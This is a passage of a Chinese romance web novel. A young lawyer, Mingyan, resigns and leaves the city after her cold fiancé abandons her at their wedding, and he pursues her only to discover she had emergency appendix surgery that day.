而她一出现,整个律所的气氛都轻快了许多。 “明嫣姐……” “明嫣姐,你可来了……” 几个小助理高兴得不得了,围着明嫣叽叽喳喳的七嘴八舌。 “我是来做工作交接的。”明嫣笑着打断了众人的兴奋,“佳佳,我的手头上的工作就先交给你吧。” “明嫣姐,你……你真要走啊。”众人不禁面面相觑。 明嫣笑着点了点头,“嗯。” …… 而与此同时,得了明嫣回来的消息,韩晋就第一时间冲进了霍寒山的办公室。 “明嫣回来了!” 他咧嘴笑得灿烂,“我知道那小丫头没了你不行,这不,一听说你要开除她,立马就回来了!” 霍寒山面无表情地瞥了他一眼,“我看你很闲啊,要不要把我手头上的代理协议分你几个。” 韩晋连忙做求饶状——笑话! 能到霍寒山手里的那都是全风险代理,虽然风险越高,案情越复杂,律师能分到的比例就越大,但是,也得有能力拿到才行! 而就在韩晋转身要走出办公室的时候,突然听见霍寒山开口说了句,“把明嫣叫进来。” 韩晋勾唇一笑,“知道了。” 明嫣这会儿正在做工作交接,听见身边的人喊了一声‘韩律师’,她下意识地抬眸,正好对上了韩晋笑眯眯的眼眸。 “小明嫣,老霍让你去一趟他办公室!” 明嫣起身站了起来。 韩晋肩并肩地跟她往前走,压低嗓音道,“小明嫣,师哥跟你说,对上霍寒山那种没心没肝的男人,就该心狠,别什么都顺着他,这次竟然连婚礼都敢翘!就是被你惯坏了!” 明嫣的手握在门把手上,扭头看他,“师哥要跟我一起进吗?” “不了,不了。”韩晋连忙摆手,“我可招惹不起里面那位,还是你来吧。” 说着,已经一溜烟儿地跑回了自己的办公室。 明嫣深吸了一口气,推门走了进去。 “霍律师,您找我?”明嫣站在办公桌前,嗓音平静。 明明是再正常不过的称呼,毕竟往常在公司,明嫣总是避嫌地喊他‘霍律师’,只有私底下才会喊名字。 可霍寒山握着钢笔的手一顿,下意识地抬眸看她,眉头几不可见地皱了皱。 消失了一周,面前的少女看着消瘦了不少。 原本圆润的脸蛋都瘦了一圈…… “你生病了?”霍寒山的眉头微皱,“怎么瘦了这么多?” 阑尾炎虽然是微创,可到底也是手术,她折腾了一个周,瘦了整整六斤。 “霍律师有什么事吗?”明嫣一副公事公办的模样。 霍寒山不由得皱眉,不知怎么,听见这声‘霍律师’,他心里莫名有些发堵。 他明明都表现出关心了,她竟然还不领情。 就算婚礼上的事情,他的确错了,可那不是人命关天的事吗? 她什么时候变得这么冷血了? “一个周不来上班?你真以为我不敢辞退你?”霍寒山的嗓音冷了几分。 明嫣表情淡然,依旧是公事公办的模样,“我已经递交辞职信了。” “我没批。” “根据劳动法规定,单位无权不批准员工提出的辞职……” “明嫣!”霍寒山的嗓音提高了几分,冷声打断了她的话。 明嫣卷翘的睫毛颤了一下,抿了抿绯色的薄唇,移开了视线,没再说话。 办公室陷入了一片死寂。 许久,霍寒山这才抿了抿唇,连带着嗓音都平静了几分,“下午有个会议,你跟我一起过去……” “霍寒山,我说了……”明嫣一字一句,“我已经辞职了。” 霍寒山的脸色立马沉了下来。 “你到底有没有闹够?” 辞职? 她舍得辞职吗? 舍得离开他吗? 从他认识明嫣那天起,她就像是个死缠烂打的小粘人精一样,不管是冷脸赶人,还是低声训斥,她都跟在他屁股后面。 只要自己一回头,她永远都在自己身后。 他比任何人都知道明嫣离不开自己。 辞职? 怎么可能? “明嫣,你胡闹也该有个限度!你当真以为我不会同意你的辞职?”霍寒山的嗓音也沉了下来。 “不需要你同意。”明嫣抬眸看他,“等交接完手头上的事情我就离开,霍律师放心,不会太久,三天之内就能全部交接完。” 霍寒山的脸色阴沉得似是能滴下水来,可还没等他开口,办公室门被人敲了一下,紧接着韩晋探进了半颗脑袋,“老霍,一会儿要去……” 可还没等他说完,霍寒山已然抓起桌子上的文件狠狠地扔了过去,“滚出去!” 文件夹砸在地上,里面的文件撒了一地,韩晋的脑袋像是割麦子似的瞬间就消失不见。 明嫣不禁皱了皱眉。 因为情感冷漠症的缘故,其实她鲜少从霍寒山的脸上读到太大的情绪波动,哪怕是再生气,也只是皱皱眉头而已,像这般砸东西…… 却是头一次。 明嫣收回目光,瓷白的脸上只有平静,“另外,我在明寒的股份,根据市场价给我折现就行……” 可还没等她说完,霍寒山倏地站起身来,几步就走到明嫣面前。 挺拔的身高带着铺天盖地的压迫感,一双漆黑如墨的眼眸里更像是噙着凛冽寒霜。 霍寒山几乎是一字一句道,“明嫣,你可想好了,只要你辞职,以后就别想回来了!” 第7章 这次,明嫣可能真的不会再回头了 霍寒山的话音落下,办公室里一片死寂。 他目光灼灼地望向明嫣,像是笃定自己撂下狠话后,她肯定会低头认错。 这五年来,不管发生什么事情,她都会无条件迁就他。 他料定她不会真的辞职。 所有人都有可能离开他,可唯独一个明嫣。 她不会。 她绝对不会。 然而他想象中明嫣惊慌失措的认错却没有发生,她就只是静静地站在那里,甚至唇角还牵起了一抹极淡的弧度。 “我想得很清楚。”明嫣将辞职信放到办公桌上,嗓音平静无波,“霍律师,如果没有其他事,我先出去了。” 说完,她甚至没有再看霍寒山一眼,转身就朝着办公室门口走去。 动作干脆利落,没有一丝留恋。 霍寒山愣住了。 他设想了无数种可能,唯独没有这一种。 她不应该求他别赶她走吗? 不应该惊慌失措地解释她只是闹脾气吗? 不应该像以前无数次那样,只要他一生气,她就立刻软下来哄他吗? “明嫣!” 眼看她的手已经握住了门把手,霍寒山几乎是下意识地低吼出声,带着他自己都未曾察觉的急促和一丝……慌乱。 他以为她会停下,至少会回头。 可是没有。 明嫣的动作没有丝毫停顿,利落地拉开门。 门外,正贴着门板偷听的韩晋一个趔趄,差点摔进来,脸上写满了尴尬,“呃……那什么,我刚好要进来找老霍……” 明嫣的目光掠过他,只是微微颔首,算是打过招呼,然后侧身从他旁边走过,脚步未停,径直朝着自己的工位走去。 背影纤细却挺直,带着一种前所未有的决绝。 霍寒山僵在原地,看着她就那样毫不留恋地离开,心脏像是被什么东西狠狠攥了一下,那股陌生窒闷的感觉再次汹涌而来,比之前任何一次都要强烈。 韩晋尴尬地挠了挠头,看看明嫣的背影,又看看办公室里脸色阴沉的可怕的霍寒山,试图缓和气氛,“哈,那个,老霍,我正准备找你……” “闭嘴!”霍寒山猛地打断他,胸口剧烈起伏了几下。 韩晋一看他脸色不对,连忙把办公室门关上,挡住了门外的探究目光,紧接着三步并两步地上前,“老霍啊,你说你就不能好好说话吗?” 霍寒山冷冷地瞥了他一眼,“你刚才不是听见了吗?是她非要辞职!” 韩晋简直觉得匪夷所思。 明嫣怎么可能离开明寒? 她怎么舍得离开霍寒山? “那你把话说得那么重干嘛?小明嫣就是一时生气,你……” “你给我闭嘴!”霍寒山烦躁地松了松领带,却发现那股憋闷感丝毫未减。 他第一次,清晰地从这种情绪里分辨出了一丝心慌。 为什么? 他不是一直觉得明嫣吵闹又麻烦吗? 他不是一直想让她别那么粘人吗? 现在她如他所愿了,他为什么会觉得……喘不过气? …… 工位上。 明嫣看着这个陪伴了自己无数个日夜的地方,心情异常平静。 她拉开抽屉,里面放着许多小东西。 一个有些褪色的电影票根,是他们第一次约会时看的,虽然那天霍寒山全程都在看手机处理工作…… 一枚普通的金属书签,是某次他出差回来随手扔给她的,说是客户送的…… 一盒已经融变形了的巧克力,是去年情人节,他让助理统一给公司女员工买的,她也有一份…… 还有一颗包装纸都有些磨损的水果糖,是很久以前,她胃疼低血糖时,他皱着眉头从口袋里摸出来塞给她的…… 每一件,她都曾如获至宝,小心翼翼地收藏起来。 现在看着,只觉得可笑。 明嫣扯了扯唇角,抓起里面的东西统统都扔进了垃圾桶里。 ‘哗啦’一声轻响,在寂静的办公室显得尤为的刺耳。 周围的同事都默默看着,没人敢出声。 明嫣将最后一点私人物品都装进一个不大的纸箱里,抱起箱子,环顾了一下这个她倾注了无数心血的地方。 然后,没有丝毫犹豫,转身离开,很快背影就消失在电梯口。 …… 总裁办公室里。 霍寒山站在落地窗前,背影挺拔却透着一股僵直。 他明明在处理一份紧急邮件,目光却几次三番地扫向办公室门外,注意力根本无法集中。 心脏那块石头,似乎越来越沉。 韩晋叹了口气,走过来,“我说老霍,你这下玩脱了吧?我看小明嫣这次是来真的了。” 霍寒山眉头紧锁,嘲讽一笑,“她只是在闹脾气!她怎么可能真的离开我?” “以前是以前,这次是婚礼啊大哥!”韩晋简直无语,“哪个女人能受得了在婚礼上被丢下?而且我刚看她收拾东西那架势,可不是闹着玩的,东西全送人了,一副彻底了断的样子。” 霍寒山抿紧了唇,脑海中闪过明嫣那双平静无波的眼睛,心里那阵慌措感越来越明显。 “她不会真的生我的气……”他像是在说服韩晋,又像是在说服自己,“所有人都有可能离开我,唯独明嫣不会……” 韩晋翻了个白眼,“那是以前!人心都是肉长的,被你这么一次次磋磨,再热的心也凉透了!听我的,你现在赶紧去挑个礼物,诚心诚意地去道歉,说不定还有救。” 霍寒山沉默了。 道歉?他从未做过这种事。 而且,买什么? 他烦躁地揉了揉眉心,“我不知道买什么,你去帮我买。” 韩晋:“……霍寒山!这种事情你自己去买才有诚意……你……” 可还没等他说完,霍寒山的手机却突然响了起来。 他立刻抬手示意韩晋闭嘴,接起了电话,语气瞬间恢复了往常的冷静和专业,“喂,李总……” 韩晋看着他这副样子,无奈地摇了摇头。 他瞥了一眼窗外,明嫣正好抱着纸箱走出大楼,纤细的身影毫不留恋地融入街边的人流,很快消失不见。 韩晋心里咯噔一下。 不知怎么,他忽然有种强烈的预感——这次,明嫣可能真的不会再回头了。 第8章 她这么快就找了别人?! 明嫣离开后,明寒律师事务所仿佛陷入了一种诡异的低气压中。 霍寒山试图用工作麻痹自己,但效率前所未有的低。 他捏了捏眉心,试图将注意力拉回电脑屏幕,却鬼使神差地起身,走到了外面那片开放的办公区。 明嫣的工位已经空了。 干净的仿佛从未有人在那里待过五年。 一个保洁阿姨正推着清洁车过来,开始清理每个工位旁的垃圾桶。 当清理到明嫣那个位置时,阿姨习惯性地将小垃圾桶里的东西倒入大垃圾袋。 霍寒山的目光无意间扫过,整个人猛地一僵—— 在那堆废纸和零食包装袋中,有几样东西格外刺眼。 一张褪色的电影票根…… 一枚刻着‘明寒’字的定制书签…… 一颗融化变形粘在糖纸上的水果糖…… 还有…… 许多类似的小物件。 零零碎碎,却都是明嫣的‘珍宝’。 而这些东西…… 霍寒山有些有模糊的印象,有些毫无印象。 但此时无一例外,都被明嫣当垃圾一样扔掉了! 她不是应该珍而重之地收藏起来吗? 就像以前那样…… 那颗糖,她不是藏了好几年吗?! 霍寒山的胸口发闷,比之前任何一次都要汹涌,好像有什么东西彻底脱离了他的掌控。 “住手!”他猛地低吼一声,吓了保洁阿姨一跳。 霍寒山几步冲过去,也顾不得脏污和形象,徒手就在那袋垃圾里翻找! “霍……霍律师?”保洁阿姨惊呆了。 韩晋闻声赶来,看到这一幕也愣住了,“老霍,你干什么呢?!” 霍寒山像是没听见,他只是固执地翻找着,将那些沾着污渍的小东西一件件捡出来,握在手心。 糖粘腻的触感,书签冰凉的边缘,票根粗糙的质地…… 每一样都像是在嘲笑他之前的笃定。 她不是闹脾气。 她是真的……不要了。 连带着这些承载着过往五年点滴的‘垃圾’,一起扔掉了。 “手机……”霍寒山猛地抬头,脸色是从未有过的苍白和慌乱,他看向韩晋,“我手机呢?” 韩晋连忙把他的手机递过去。 霍寒山拨了明嫣电话打了出去。 “对不起,您所拨打的电话暂时不方便接听,请稍后再拨……” 冰冷的提示音一遍遍响起。 他挂断,再打。 依旧是打不通。 他再也顾不上其他,抓起车钥匙就冲了出去。 “老霍!你去哪儿?!下午还有客户……”韩晋在后面大喊,可霍寒山的身影已经消失在了电梯口。 …… 一路风驰电掣,闯了几个红灯霍寒山已经记不清了。 他脑子里只有一个念头——找到她! 必须马上找到她! 车子猛地停在明嫣公寓楼下,他几乎是用撞地推开车门,冲进电梯,用力地拍打着明嫣公寓的房门。 “明嫣!开门!明嫣!”他的声音带着自己都没察觉的急迫。 拍了半天,里面毫无动静。 就在霍寒山的心一点点沉下去的时候,门锁‘咔嗒’一声,从里面打开了。 霍寒山的心脏几乎跳到嗓子眼,却在看见来人时瞬间被冻僵—— 开门的是一个围着围裙,拿着锅铲的陌生男人。 男人看起来三十岁左右,面相敦厚,正疑惑地看着他。 “你找谁?”男人问。 霍寒山的大脑一片空白,所有的血液似乎都冲上了头顶! 明嫣的房子里…… 为什么会有男人?!还围着围裙?! 一副居家过日子的模样?! 一个荒谬又让他怒火中烧的念头猛地窜了出来——她这么快就找了别人?! 所以她决绝地离开,是因为早就有了下家?! 滔天的怒火和一种被背叛的疯狂瞬间吞噬了霍寒山所有的理智! 他那引以为傲的冷静和自制力,在这一刻荡然无存! “明嫣呢?!”霍寒山一把揪住男人的衣领,几乎是从牙缝里挤出来的质问。 男人被吓了一跳,试图挣脱,“哎,你谁啊?你干什么?!放开!” “我问你明嫣呢?!”霍寒山彻底失控,一拳就挥了过去! 他练过跆拳道和散打,盛怒之下的力道根本不是普通男人能承受的。 那男人猝不及防,直接被这一拳打得踉跄着撞在门框上,嘴角瞬间见了血,锅铲也‘咣当’一声掉在地上。 “神经病啊你!凭什么打人?!”男人也火了,抹了一把嘴角的血迹,抡起拳头就要反击。 就在这时,一个系着同款围裙的女人惊叫着从厨房跑了出来,看到眼前景象,吓得尖叫一声,连忙冲过来护在自己丈夫身前,对着霍寒山怒目而视,“你谁啊?凭什么打我老公?!我……我已经报警了!” 霍寒山挥到一半的拳头猛地僵在半空。 老公? 他猩红的眼睛死死盯着面前这对穿着同款围裙的陌生人,再环顾四周——客厅的摆设变了,沙发套换了颜色,玄关处放着陌生的儿童鞋…… 这里……完全没有明嫣生活过的痕迹了。 一个可怕的念头缓缓浮现。 “这……这里之前的住户呢?”霍寒山的声音干涩沙哑,带着一丝不易察觉的颤抖。 女主人又怕又气,语速极快地说道:“之前的业主?她把房子卖给我们了!我们昨天刚办完过户手续!你到底是什么人?再不走我真报警了!” 卖了…… 房子卖了…… 她不仅扔掉了所有和他有关的东西,辞了职,还卖掉了承载了五年记忆的房子! 她是要彻底抹去所有痕迹! 彻底从他的世界里消失! 霍寒山像是被抽干了所有力气,踉跄着后退了一步,撞在冰冷的墙壁上。 心脏处传来一阵尖锐陌生的剧痛,几乎让他无法呼吸。 他那张总是没什么表情的脸上,第一次出现了无法掩饰的崩溃和……慌乱。 警察很快来了。 韩晋也紧随其后,调解,记录,道歉,所有的手续都是他忙前忙后。 而一贯在京都大杀四方,从未尝过败绩的霍大律师却像个失去灵魂的木偶,一言不发。 直到双方达成和解准备离开时,那对夫妻一脸不情愿地上前。 韩晋还以为他们不依不饶,连忙迎了上去,“你们……” 可还没等他开口,女人已经将手里的袋子递了过来,一脸没好气道,“那什么……这是我打扫房间时收拾出来的,应该是你朋友的东西,我现在联系不上她,你转交给她吧?” 那只不起眼的塑料袋被塞进霍寒山手中,轻飘飘的,没什么重量。 他几乎下意识地低头看向袋内,当看清里面的东西时,眼神瞬时阴沉有些可怕…… 第9章 她肯定是在跟我赌气 杂物之中,一个丝绒小盒子突兀地躺在那里,刺眼得让他心脏骤停。 呼吸在那一刻凝滞,周遭的声音全部褪去,世界只剩下无声的嗡鸣。 他认得那个盒子。 霍寒山的手指有些发颤,伸进袋子里,拿出了那个盒子。 “啪”的一声轻响,盒盖弹开。 里面是一枚钻戒,是明嫣精挑细选了几个月才确定下来的样式。 只是,此时的它静静地躺在那里,折射出冰冷却绚丽的光。 而此时的韩晋打发走了那对夫妻后,刚转过身,就看到霍寒山死死盯着掌心里的戒指盒,下颌线绷得极紧,眼神里翻滚着他从未见过的汹涌。 韩晋心里那点不祥的预感瞬间飙升到了顶点,他快步上前,压低声音:“老霍,这……是什么啊?” 霍寒山神色冷冰冰的,嗓音低沉,“婚戒。” “啊?”韩晋懵了一瞬。 婚戒? 明嫣连婚戒都扔了吗? 还是说搬家的时候不小心弄丢了? 他的神情恍惚了一下,甚至有些反应不过来,结结巴巴道,“她……她这到底是想干什么?难不成……来真的?真要跟你……” ‘分手’两个字,韩晋还没说出口,霍寒山猛地合上戒指盒。 他攥紧了盒子,指节因为用力而泛白,手背上青筋暴起。 “不可能。”他的声音冷硬得像淬了冰,没有丝毫温度,“她只是还在生我的气,气婚礼的事。” 韩晋的眼皮不由得跳了跳,总觉得这事儿到处透着诡异。 没有人比他更清楚明嫣到底有多喜欢霍寒山。 可是,他却也更清楚霍寒山的冷漠性子,若是喜欢在乎他的人,却往往会被伤得最深。 明嫣肯定是首当其冲。 “那你还不赶紧去哄哄人家?” 只不过,回应他的是一片沉默。 过了好久,久到韩晋以为他不会再开口,霍寒山才嗓音冰冷地开了口,“你觉得明嫣会跟我分手吗?” “开什么玩笑?”韩晋几乎是下意识的否定,“这怎么可能?” “我也觉得不可能。”霍寒山缓缓地垂下眼眸,目光落在手里的丝绒盒子上,“她肯定是在跟我赌气,她这是在用这种方式告诉我她有多生气。” 韩晋皱了皱眉,“那个……” 可还没等他开口,霍寒山却突然开口道,“买什么?” “啊?”这话题转得太过突兀,韩晋甚至都没反应过来他问的是什么意思。 “我是说,道歉的话,买什么礼物她才会消气?” 韩晋一时语塞。 他看着霍寒山,总觉得明嫣这次不是赌气。 他是见过她生霍寒山的气,就算是再严重的过错,最多也就是一天不理人,第二天,她会找好台阶自己下来,好似什么事情都没有发生。 可是,却从来没有发生过现在这种情况。 辞职…… 卖房…… 每一件事都是决绝的不留余地。 韩晋张了张嘴,那句‘这看起来真的不像赌气’在舌尖滚了几滚,最终还是咽了回去。 他叹了口气,带着几分无奈和担忧:“如果……如果真是赌气,那小明嫣这次这气性可真够大的。普通的东西恐怕不行了……她以前最喜欢你送什么?或者,一直很想要但你没给的?” 霍寒山闻言,眉头紧紧锁起。 最喜欢他送什么? 他似乎……从未真正用心送过她什么像样的礼物。 那些她视若珍宝的东西,不过是他无意间的施舍。 一直很想要但没给的? 他甚至想不起明嫣曾明确地向他索要过什么,她总是那样,安静地待在他身边,小心翼翼地藏起所有期待,却热情地将全世界都捧在自己面前…… 韩晋看着霍寒山这副沉默着完全不得要领的样子,心里替明嫣感到一阵悲哀。 他只能含糊道:“……投其所好吧,或者,拿出点真正的诚意来,光靠买东西,恐怕……” 霍寒山似乎听进去了,又似乎完全没有。 他紧紧攥着那枚戒指盒,转身大步走向电梯。 “哎,老霍,你干什么去?” “我去找她。” …… 而与此同时,市中心一家高级酒店大堂。 明嫣已经办理好了退房手续。 她只带着一个简单的行李箱,卖掉了房子和不需要的物品后,她的行囊轻简得仿佛只是出来短途旅行。 “明律师?” 而就在明嫣拖着行李箱走出酒店大厅时,突然有人喊了她的名字,“还真是巧啊……” 她下意识地循声望去,这才认出对方是明寒律师所的客户,姓王。 “王总,您好。”明嫣脸上露出得体的微笑,笑着跟对方寒暄着。 两人站着聊了几句无关紧要的近况和行业动态,明嫣态度礼貌,但明显能看出心不在此。 王总也是人精,看见她拖着行李箱,便笑着问道,“明律师这是要出差吗?” 明嫣微微勾了勾唇,“我已经从明寒律师所辞职了,准备出去散散心。” “哦?离职了?”王总略显惊讶,但很快便笑道,“以明律师的能力,肯定是有更好的发展了吧?是换了哪家律所高就?” “还没有,暂时休息一下。”明嫣语气平静,并不愿多谈。 而就在两人寒暄时,不远处走来一道熟悉的身影。 赫然是刚刚跟朋友手挽手逛街的秦婉。 她眉头微蹙地将太阳眼镜往下拉了拉,望着酒店大厅的方向,只见明嫣正跟一个衣着得体,气质不俗的中年男人相谈正欢。 她像是突然想到了什么,连忙拉着朋友往一旁的花坛躲了过去。 “哎,婉儿,你干嘛啊?”朋友被她拽了个趔趄,险些摔倒。 秦婉连忙做了个噤声的手势,“嘘,小点声,别耽误我捉奸!” “捉奸?”朋友当即顺着她的目光看去,很快也认出来,“那……那不是明嫣吗?她……她怎么会跟一个男人从酒店出来?” 秦婉此时压根没空回答她,她的脑海里瞬间就脑补出‘明嫣不甘寂寞,跑出来跟老男人开房’的大戏。 她心中一阵窃喜,连忙掏出手机,找准角度,连续拍了好几张照片,尤其捕捉到明嫣微笑和两人看似靠近的瞬间。 她手指飞快地将照片发给霍寒山,配上极具煽动性的文字: 【寒山,你快来希尔顿酒店大堂!我好像看见明嫣跟一个男人拉拉扯扯地从酒店出来,她不会被欺负了吧?你快来救她啊……】 第10章 你有本事跟男人开房,没本事承认啊! 而此时,明嫣跟王总聊了片刻,便委婉地表示自己需要赶飞机,准备告辞。 “好好好,那不耽误你了,旅途愉快,以后常联系!” “好,常联系。”明嫣笑着点头,拉着行李箱转身走向酒店大门。 而此时,刚刚发送信息成功的秦婉盯着明嫣即将离开的背影,心急如焚。 万一霍寒山来了看不到人,岂不是要怪她胡说? 不行! 必须拦住明嫣! 眼看明嫣就要走出旋转门,秦婉再也按捺不住,踩着高跟鞋快步冲上前,一把拦在了明嫣面前。 她仰着下巴,脸上全是掩饰不住的鄙夷和挑衅,“哟,我当是谁呢?这不是明嫣吗?怎么,刚被寒山甩了,就迫不及待地来酒店勾搭别的男人了?你这速度可真够快的呀!刚才那个老男人给你多少钱?” 明嫣的脚步被拦住,看着突然出现的秦婉,她先是微微一怔,随即眼神彻底冷了下来。 若是以前,碍于霍寒山,她或许还会维持表面上的客气,但如今,她只觉得眼前这个女人聒噪又可笑。 “秦小姐,”明嫣的声音平静无波,“好狗不挡道。” 秦婉没料到她会直接骂回来,愣了一下,随即像是被踩了尾巴的猫,声音更加尖厉:“你骂谁是狗?” “谁接话谁就是。” “你……”秦婉被气得脸都青了,却愣是一个字都吐不出来。 可她却也知道,明嫣当年是法学系系花,那可不是单单靠一张脸就拿下来的,她那张嘴能说死人,跟她斗嘴,不会落什么好。 想到这里,秦婉深吸了一口气,强迫自己冷静下来,她冷笑一声,“怎么,被我撞见你的丑事,心虚了?你有本事跟男人开房,没本事承认啊!” 她刻意拔高音量,吸引了大堂里零星几个客人和前台人员的注意。 明嫣的眼神彻底冷了下来。 她松开拉着行李箱的手,站直了身体,通身散发出的冷冽气场瞬间压倒了秦婉的虚张声势。 “丑事?”明嫣轻轻重复了一句,唇角勾起一抹极淡的讥诮,“在你这种满脑子龌龊思想的人眼里,正常的寒暄也能被意淫成丑事。正所谓淫者见淫,说的就是你这种人。” “你!”秦婉被戳中痛处,脸色涨红,“你少在这里牙尖嘴利!我亲眼看见你跟那个老男人从酒店里出来,笑得那么贱!你敢说你们没关系?” “我跟谁在一起,笑不笑,跟你有一分钱关系吗?” 明嫣向前逼近一步,眸光锐利如刀,“你以什么身份在这里质问我?霍寒山的未婚妻?好像不是吧。他妹妹?那更不是。你不过是一个死缠烂打,甚至需要靠搬弄是非来博取关注的小丑。” 这番话字字诛心,秦婉被噎得气血上涌,几乎失去理智,扬手就朝着明嫣的脸扇了过去:“我让你胡说八道!” 然而,她的手还在半空,就被明嫣精准地一把攥住了手腕。 明嫣的力气出乎秦婉意料的大,捏得她腕骨生疼。 “怎么,道理讲不过,就想动手?”明嫣冷冷地看着她,眼神里没有一丝畏惧,只有浓浓的厌恶,“秦婉,你是不是忘了,我不是霍寒山,不会惯着你这些臭毛病。” 话音未落,明嫣空着的左手已然扬起—— “啪!” 一记清脆响亮的耳光,结结实实地扇在了秦婉那张写满错愕的脸上。 这一巴掌力道不轻,秦婉被打得偏过头去,脸颊上瞬间浮现出清晰的指印,火辣辣的疼。 她彻底懵了,耳朵里嗡嗡作响,简直不敢相信明嫣竟然敢打她! 她身后的朋友也吓得惊呼一声,捂住了嘴。 “这一巴掌,是教你学会怎么好好说人话。”明嫣的声音依旧平静。 秦婉反应过来,尖叫一声,像是疯了一样又要扑上来:“明嫣你个贱人!你敢打我!我跟你拼了!” 但她刚有动作,另一边脸颊又挨了重重一记耳光! “啪!” 声音比刚才更响,更狠。 “这一巴掌,是打你满嘴污秽,造谣生事。”明嫣甩了甩有些发麻的手,眼神冰冷地看着她。 秦婉被打得眼冒金星,两边脸颊都红肿起来,看起来狼狈不堪。 巨大的屈辱感和疼痛让她几乎崩溃,她下意识就想不管不顾地冲上去撕烂明嫣的脸。 然而,就在这一瞬间,她脑子里残存的理智突然提醒了她——她是为什么来的? 是为了拖住明嫣,等寒山来‘捉奸’啊! 如果她现在跟明嫣扭打在一起,等寒山哥来了,看到的就是两人打架,她还怎么扮演受害者? 怎么凸显明嫣的‘粗鲁恶毒’和自己的‘无辜可怜’? 对! 不能还手! 必须忍下这口气! 等寒山来了,看到她被打得这么惨,一定会心疼她,会更加厌恶明嫣这个泼妇! 想到这里,秦婉硬生生止住了想要反击的冲动。 她捂着自己红肿的脸颊,眼眶瞬间就红了,泪水说掉就掉,演技精湛,瞬间从方才的泼妇切换成了受尽欺凌的小白花模样。 她抽抽噎噎的,带着哭腔控诉:“明嫣……你……你怎么能打人?我只是好心问你一句……你不想说就算了,为什么要动手?呜呜呜……” 她这副样子,倒真像是被明嫣无故欺凌了。 明嫣冷眼看着她瞬间的变脸表演,只觉得无比讽刺。 她太了解秦婉这种伎俩了,无非是想博取同情,纯纯一个戏精,尤其是在霍寒山面前。 以前她太在乎霍寒山,所以明里暗里不知道吃了秦婉多少亏。 现在——犯贱就欠扇。 “你的戏,还是留给愿意看的人吧。”明嫣懒得再跟她浪费一秒时间,她一把推开挡在面前的秦婉,“滚开,别挡我的路。” 秦婉被她推得一个趔趄,高跟鞋一歪,差点摔倒,幸好被旁边的朋友扶住。 她看着明嫣毫不犹豫转身离开的背影,气得浑身发抖,所有的伪装几乎在瞬间破功,对着明嫣的背影尖声大骂:“明嫣!你等着!寒山马上就到了!看你还能嚣张到几时!” 第11章 明嫣的诊断报告 秦婉的声音很大,引得人们纷纷侧目。 然而,明嫣的脚步没有丝毫停顿,甚至连头都没有回一下。 她利落地拉起行李箱往路边走去,抬手拦下了一辆出租车。 “师傅,机场,谢谢。” 车门关上,将秦婉那些不堪入耳的辱骂彻底隔绝在外。 车子平稳地驶入车流,向着机场方向而去。 明嫣靠在座椅上,看着窗外飞速倒退的街景。 这座城市承载了她五年的爱恋憧憬。 这里曾是她奋力想要扎根构建未来的地方,如今,却只剩下一片废墟。 她拿出手机,看着那条已经确认好的航班信息,指尖轻轻划过屏幕。 再见了,京都。 再见了—— 霍寒山…… …… 而就在明嫣乘坐的出租车汇入机场高速的车流时,一辆黑色的宾利轿车带着刺耳的刹车声,猛地停在了希尔顿酒店门口。 霍寒山几乎是摔门而下,脸色阴沉得可怕,大步流星地冲进酒店大堂。 他手里还紧紧攥着那个丝绒戒指盒,棱角硌得掌心生疼。 “寒山,你终于来了!” 这时,秦婉捂着脸哭得梨花带雨地冲了上来。 她刻意将红肿指印清晰的脸颊仰起来,声音委屈又哽咽,“你看……你看明嫣把我打的,我好心问她一句,她不由分说就动手打我!呜呜呜……” 她期待看到霍寒山脸上的心疼和愤怒,期待他立刻为自己主持公道,然后去找明嫣那个贱人算账。 然而,霍寒山的目光甚至没有在她脸上停留超过一秒。 他的视线急切地扫过酒店大堂,搜寻着那个熟悉的身影,开口的声音因为急切而显得格外冷硬,甚至带着一丝不耐:“明嫣呢?” 秦婉被他这完全无视自己伤势的态度噎了一下,心里更是恨极了明嫣,她连忙添油加醋,“她……她刚跟一个老男人走了!就是因为我撞破她和那个男人从酒店出来,行为亲密,她才恼羞成怒打我的!寒山,她……” “闭嘴!” 霍寒山猛地打断她,眼神终于落到她脸上,一字一句道,“她不可能做那种事,你再说一句她的不是试试?” 秦婉被他眼中毫不掩饰的厉色吓住了,瞬间噤声,只剩下委屈的呜咽。 她难以置信,自己都被打成这样了,霍寒山竟然还如此维护明嫣! 甚至不问青红皂白! 明明之前她不管怎么闹,霍寒山都会无条件地站在自己这边。 就连他跟明嫣的婚礼,他都抛下她来找自己。 现在怎么…… 霍寒山没再理会她,大步流星地走进酒店大堂。 他的气场太过强大冷冽,前台工作人员被他吓得大气都不敢出。 “刚才离开的那位女士,明嫣,她住在哪个房间?” 前台小姐被他吓得有些结巴,“对……对不起先生,客人的信息我们不能随意……” 霍寒山直接拿出手机,直接翻出了这个酒店高层的电话,语气冰冷:“需要我让你们经理来跟你说吗?” 前台小姐认定他身份不凡,又被他此刻的状态吓到,权衡之下,只好战战兢兢地查了一下,“……明小姐已经办理退房了,先生。” “房间号!”霍寒山几乎是从牙缝里挤出这三个字。 “……2808。”前台小姐低声报出房号,然后颤颤巍巍地递出了一张备用的房卡。 霍寒山一把抓过房卡,径直走向电梯。 电梯缓缓上升,数字不断跳动。 霍寒山紧紧攥着那枚丝绒戒指盒和房卡,指节泛白。 ‘叮’的一声,电梯到达28楼。 霍寒山快步走出,找到2808房间,刷开房门。 房间应该是还没来得及打扫,但是却依旧整洁,空气里弥漫着酒店特有的香氛味道,冰冷而陌生。 他的目光急切地扫过房间的每一个角落。 床铺整齐,桌面干净,衣柜空空如也。 最终,他的目光定格在角落那个小小的垃圾桶上。 垃圾桶里很干净,只有一两张揉皱的纸巾,以及……一个折叠起来的白色纸团,看起来像是某种报告单。 霍寒山缓缓地蹲下身,将那个纸团捡了起来,一点点将揉皱的纸张展开。 纸张上方黑体粗字名称率先映入眼帘——【病理诊断报告】 他的视线急速下移,掠过那些冰冷的医学术语和数据,最终死死地定格在报告最下方的那行结论上。 诊断意见:慢性阑尾炎急性发作,继发坏疽、穿孔。 手术名称:急诊腹腔镜下阑尾切除术+腹腔脓肿清除术。 手术日期…… …… 时间仿佛在这一刻彻底凝固。 霍寒山维持着蹲在地上的姿势,一动不动,目光死死地盯在那行手术日期上。 一周前。 正是他和明嫣的婚礼那天…… 慢性阑尾炎急性发作……坏疽……穿孔…… 他即使对医学不甚了解,也知道‘穿孔’意味着什么——感染、腹膜炎、甚至危及生命。 急诊手术…… 他想象着她突然发作时的痛苦,独自一人拨打急救电话时的无助,被推进冰冷手术室时的恐惧…… 而那个时候,他在哪里? 他在生明嫣的气。 甚至让人放话出去要开除她…… “嗬……” 霍寒山的喉咙里发出一声嗤笑。 